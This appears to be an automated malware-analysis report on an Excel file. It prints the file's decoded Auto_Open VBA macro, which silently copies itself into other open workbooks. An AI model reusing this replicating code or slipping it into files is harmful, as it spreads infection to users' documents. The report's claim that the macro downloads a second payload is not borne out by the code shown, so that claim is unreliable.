MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel spreadsheet containing a malicious VBA macro, specifically an Auto_Open macro, which is designed to execute automatically upon opening. The ClamAV detection name 'Xls.Trojan.Adn-2' strongly suggests a trojanized Excel file. The macro's execution is the primary attack vector, likely intended to download and execute a secondary payload.
Heuristics 3
-
ClamAV: Xls.Trojan.Adn-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Adn-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7097 bytes |
SHA-256: 7ebd6790fd31e9dc3a0a8c167806f63ae8e52b2f187cf095a5539a8a280d68a1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "H247"
Public Indexe As String
Private Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
For i = 1 To ThisWorkbook.VBProject.VBComponents.Count
Cadena = ThisWorkbook.VBProject.VBComponents(i).Name
Letras = Left(Cadena, 1): Numero = Right(Cadena, (Len(Cadena) - 1))
Fusion = (Letras & Val(Numero))
If Cadena = Fusion Then
Indexe = ThisWorkbook.VBProject.VBComponents(i).Name
End If
Next
Application.OnSheetActivate = "ClassModulo"
End Sub
Private Sub ClassModulo()
Attribute ClassModulo.VB_ProcData.VB_Invoke_Func = " \n14"
Randomize: install = 0
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Intr = Int((Rnd * 1000) + 1)
Iltr = Int((90 - 65 + 1) * Rnd + 65)
Play = (Chr(Iltr) & Intr)
For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
Cadena = ActiveWorkbook.VBProject.VBComponents(i).Name
Letras = Left(Cadena, 1): Numero = Right(Cadena, (Len(Cadena) - 1))
Fusion = (Letras & Val(Numero))
If Cadena = Fusion Then install = 1
Next
If install = 0 Then
ThisWorkbook.VBProject.VBComponents(Indexe).Export (Indexe)
ActiveWorkbook.VBProject.VBComponents.Import (Indexe)
ActiveWorkbook.VBProject.VBComponents(Indexe).Name = Play
End If
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub
' Processing file: /opt/analyzer/scan_staging/813414000b3d4b25938bbea3c82b51bf.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 965 bytes
' _VBA_PROJECT_CUR/VBA/Sheet1 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet4 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet5 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet6 - 957 bytes
' _VBA_PROJECT_CUR/VBA/H247 - 2719 bytes
' Line #0:
' Line #1:
' Line #2:
' Dim (Public)
' VarDefn Indexe (As String)
' Line #3:
' Line #4:
' FuncDefn (Private Sub auto_open())
' Line #5:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld ThisWorkbook
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.